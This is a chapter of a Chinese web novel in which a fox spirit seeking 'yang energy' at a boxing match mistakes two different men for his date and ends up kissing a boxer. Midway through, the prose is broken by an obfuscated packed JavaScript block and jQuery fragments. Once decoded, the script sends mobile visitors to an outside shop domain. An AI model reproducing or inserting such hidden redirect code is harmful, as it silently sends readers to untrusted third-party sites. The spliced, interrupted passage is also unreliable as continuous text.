拳击馆内,肾上腺素的味道混合着廉价的香水味。
VIP卡座内,胡黎穿着一件宽大领口的卫衣,衬得他只有巴掌大的脸,他乖巧地坐着,手里攥着一张票的存根,身旁的座位空着。
胡黎有些失望,卡西安却放他鸽子了。
擂台上的两个拳手正陷入肉搏,拳头砸在肉皮上发出闷响,空气中那股原始的、狂躁的荷尔蒙四处奔涌,台下的欢呼声更是一浪高过一浪。
淹没了胡黎的烦躁。
精彩确实是精彩,烦躁也的确是烦躁。
若是放在以前,这种大型的“阳气自助餐厅”,胡黎早就大吸特吸了,但他现在已经是吸过顶尖阳气的人了,看不上这种混着香水味的“泔水”了。
一点进食的欲望都没有。
“骗子,大骗子。”胡黎盯着旁边的空位,小声埋怨。
明明在更衣室还一副愿意和他约会的样子,转头一声不响地就放他鸽子,这性格和态度很卡西安,难怪学校的人都说他,生人勿近。
食言的伪君子!
不对,他愧对君子之称,君子该重诺守信,怎能虚言欺人?
言无信,行未果,令人不齿。
胡黎在心里将卡西安骂了千百遍。
突然,一股浓郁的阳气从身后飘来,是干净的,炽热的,还有一股子檀香木的味道。
胡黎回头,心脏猛地跳了一下。
一个一身深灰色西装,身形挺拔,面容冷峻的白人脸。
是卡西安?
拳击赛都过半场了,怎么才来?
胡黎刚想埋怨他几句,但转念一想,万一将人气走了,今天的吸阳气计划就泡汤了。
于是笑脸迎上,“你来晚了,今天的比赛很精彩。”
罗曼愣了一瞬,他离很远就看到胡黎了,对他在校园里“拜猫咪”的形象印象深刻,观察了许久,都不见小朋友约的人来,于是想趁人之危上来打个招呼。
没想到小朋友竟然没认出他来,罗曼也就堂而皇之地坐在他身边的空位上。
“你觉得谁会赢?”罗曼问。
胡黎抬头望向擂台上,他已经看了许久了,虽然不是很懂,但也知道左边的那个明显占据上风,出拳更快。
“左边的。”胡黎说。
“为什么?”
“因为他在赢。”
罗曼轻声笑了一下,很短,胡黎不知道他在笑什么,大概在笑他的无知吧。
“但他就快被打倒了。”罗曼眸子漫不经心地扫了一眼台上,然后就将目光尽数落在胡黎身上,笑盈盈地解释道:“他太急了,出拳也太快了,破绽已经被他亲手卖给对手了。”
话音刚落,擂台上发出一声沉闷的撞击声。
原本占据上风的拳手被一记重拳打在眉骨上,身子重重地撞在地上。
观众席上爆发出一阵的唏嘘声。
胡黎跟着倒吸一口凉气,原本他也看好左边的拳手,那人总给他一种莫名的熟悉感,甚至希望他会赢得最后的比赛。
“那右边的会赢吗?”胡黎有些失望。
右边的不好看!
他虽然脸盲,但也只是对清一色的帅哥脸盲,还是分辨得出俊和丑,是大叔还是帅哥的。
罗曼轻轻抿唇一笑,旋即摇摇头,“不会。”
胡黎迷糊了,看样子“卡西安”是懂拳击的,可他一会说左边的会输,一会说右边的不会赢。
难道最后是裁判赢啊?
“右边的拳击手看上去人高马大,但力量有余,技巧全无。”罗曼很认真地解释给胡黎听,“只要左边的拳击手不要太急,将对手拖进自己的节奏中,他就赢了。”
胡黎并不能完全听懂罗曼的话。
比赛暂停。
左边的拳击手被教练带下去说了什么,果然再上场就判若两人了,几乎没再给对方机会,几记拳打得干净又利落。
胡黎惊呼,“果然打得比之前好了。”
“他原本就该是这样的实力。”罗曼眼神又落回擂台上,满眼都是欣赏之色。
达伦斯是最好的拳手,没有之一。
只是,今天不知道为什么,打得如此着急,好像……
在赶场。
罗曼又陪着胡黎看了一会儿,给他讲解了许多有关拳击的技巧和看点,让胡黎受益匪浅。
快散场时,罗曼接了个电话。
然后一脸抱歉地对胡黎道:“我还有点其他事,要先回去处理。”
“现在?”
“嗯。”
罗曼站起来,他脸上看起来很急,但动作依然优雅,他抬手轻轻触了下胡黎的额头,很轻,像一片羽毛拂过他额头,声音似哄道:“你以后还想看的话,都可以陪你。”
胡黎点点头,卡西安是学生主席,自然事忙。
他看着背影走远了,才后知后觉地摸了摸自己的额头,还带着点余温。
胡黎不急着走,经过“卡西安”这么细致的讲解,胡黎对擂台上的拳击也感兴趣几分,他倒要看看“卡西安”最后分析的对不对。
左边拳击手的真的能赢吗?
唯一的遗憾是,他刚刚没吸到更多的阳气。
擂台上的比赛已经接近尾声了,两个拳击手都拼尽全力,擂台下观众的热情也被点燃,胡黎看得热血澎湃,不自觉就加入了欢呼的行列中,跟着他们给一个叫“达伦斯”的拳手加油。
“打他!打他!”
“呦呵!!达伦斯太棒了!”
“冠军!冠军!冠军!”
忽然,一股似是有一股冷风袭来,胡黎瑟缩了下肩膀。
他四处张望了一下,自己离空调和门口都很远。
胡黎掏出手机,打开“阳气检测”APP。
果然,不是空调的冷,是阳气流失过快的冷。
“该死。”太激动了,耗阳过快。
他看了看刚才“卡西安”消失的地方,开始后悔刚才为什么没亲他一口,或者抱着他吸一吸也行啊。
也不是第一次了,刚才怎么就突然腼腆了呢?
擂台上的比赛结束,果然不出所料,是左边叫“达伦斯”的拳手赢了,观众的欢呼声此起彼伏。
胡黎却一点也高兴不起来了。
要不混着泔水吸一点?
他努力地劝自己,身为狐狸不能这么挑食,早晚会饿死的。
天大地大,填饱肚子最大。
胡黎手扶着座椅靠背,深吸一口气。
刚做好心理建设,突然身后传来一个声音,“对不起,让你等这么久。”
胡黎猛地回头,看到一个呼哧带喘的人,好像刚打完拳似的。
卡西安回来了?
面前的人身上披着一件深色的西装,和刚才“卡西安”身上穿的那套大差不差,胡黎分不清衣服的品牌,只记得颜色应该是相近的。
何况,拳击场馆里灯光昏暗。
胡黎也没想太多,只觉得面前的人阳气是浓郁的,那就是“卡西安”没错了。
“没、没关系。”胡黎轻声道。
达伦斯为了赴约,甚至没来得及冲个澡,只简单地拿了毛巾擦干净身上的汗液,胡乱地抓了一件拳击经理的灰色西装套上,风风火火赶过来赴“小粉丝”的约了。
两个人面对面,胡黎抬头看见他脸上轻微的擦伤,“你、脸怎么了?”
达伦斯心里乐开了花,小粉丝这是在关心他受的伤。
“打架打的,没事。”达伦斯早就习惯了,早不拿这点伤当回事。
但他的小粉丝当回事,心里就甭提多美了。
达伦斯随意拨了拨头发,挡住眉骨上的伤。
“要除疤,不然会不好看的。”但心里想的是:原来卡西安也会打架啊!
“嗯,有专业的除疤师。”达伦斯道。
胡黎愕然,职业打架的?还配专业除疤师?
“送你回学校?”达伦斯原本只是想过来打声招呼的,他赛后还有采访等一系列活动,但一见小粉丝的面儿,就都抛之脑后了。
想和小粉丝多呆一会儿。
让小粉丝多感受一些,他作为偶像的亲和力。
胡黎点头,“嗯,回吧。”
胡黎慢慢起身,他坐着还感觉不明显,一迈开步子,双腿竟然有些发软。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498096|202604||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阳气耗得太快的后遗症严重了。
达伦斯见状,连忙扶住他。
是刚才被自己血腥的拳击场面吓到了吗?达伦斯心里顿时升起身为男人的保护欲,揽着胡黎单薄的肩膀,顺势将人半圈在怀里。
这一抱,怀里的人好烫。
“你哪里不舒服吗?”达伦斯伸手去摸胡黎的额头,果然是发烧了。
不禁感觉自己更罪恶了,小粉丝连生病了,都要来看他的比赛。
这是什么样的偶像信念支撑着他啊!
“你在发烧。”达伦斯暗自压下内心的窃喜,他还是有点担心小粉丝的,“带你去看医生。”
“不用。”胡黎摇头,声音很虚。
“发烧不是小事。”说着,就抓着胡黎就往外走。
“我说,不用。”胡黎意识到语气不好,连忙扭转态度,“你在我身边,就是我最好的良药。”
胡黎说的是实话,他只要多吸两口阳气,比去医院折腾一圈管用多了。
这句话听在达伦斯耳朵里,又是另外一番光景。
达伦斯的心脏几乎是一瞬就被击中,嘴巴张得圆圆的。
他万万没想到,表白来的如此突然。
“可是……”
胡黎急了,都说了不用,还啰啰嗦嗦的,他反拉住达伦斯,踮起脚尖,堵住了他的嘴。
达伦斯整个人僵在原地。
怀里的人烫得像一团火,唇瓣却是凉的,带着某种说不清的甘甜,是他从来没吃过的糖。
这味道,让他不由自己控制地着迷。
但……
他和小粉丝才第二次见面,就吻到了一处。
内心无能狂吠:不能这样,要克制一点。
你是偶像,不是流氓。
但他的身体完全不听他使唤,人僵在原地,双手生硬地垂在身侧,微微颤抖。
小粉丝的唇,好软。
软得像一片云,仿佛他稍稍一用力,就散了。
可怀里的男孩像是怕他跑了一样,双手环住达伦斯的脖颈,整个人几乎挂在他身上,双唇粘在一起反复摩挲,贪恋地夺着他的呼吸。
胡黎的醇熟,反倒显得达伦斯生涩又笨拙。
整个人僵僵的,像是完全不知道如何接吻,只紧紧贴着唇。
“你低一点……”胡黎声音很轻,呼出的热气全喷在达伦斯脖颈。
达伦斯这才意识到,他太高了,而且刚刚也太紧张了,整个身子好似一根绷直的皮筋,小粉丝踮着脚尖仰着脖子,够得一定很不舒服。
他慢慢弯下腰,笨拙地将人圈进怀里,手掌犹豫了半天,最终轻轻落在胡黎的后腰上。
胡黎满意地哼了一声,又凑上来。
掌心下的体温烫得他指尖发麻,心脏不由自主地怦怦跳。
曾几何时,达伦斯在擂台上打过无数场惊心动魄的比赛,心率都没现在跳得这么快过。
如果教练此时在的话,一定嚎叫着叫他控制心率。
若是放在赛场上,他一定回教练一个不屑的眼神,控制心率有什么难的?还不是随手拿捏。
但现在,上帝啊!这太难了。
他闭上眼睛,感觉到两片凉凉的唇瓣贴着他的,胡黎身上的淡淡的香气,一路从唇边甜到心里,最后化成绕指柔。
待罗曼处理完正事,拳赛已经散场了。
他原本还想着,或许还能见小朋友一面,结果匆匆忙忙赶回来,VIP卡座上早已没人。
他站了片刻,心里却漫出理不清的失落。
手机铃声适时响起,罗曼按下接听,“嗯,知道了,这就回去。”
放下电话,罗曼最后看了眼那个空位,转身往外走。
刚绕过VIP的通道,脚步便顿住了。
几步开外,达伦斯面朝墙壁,弯着腰,似是将什么人困在他和墙壁之间,白皙的双臂从两侧伸出来,环住达伦斯的脖颈。
达伦斯低下头和他接吻。
黑色的头发从耳侧散下来,是个亚裔。
罗曼的面容凝固,脑子里忽然闪过一张脸。
难道,小朋友等的是达伦斯?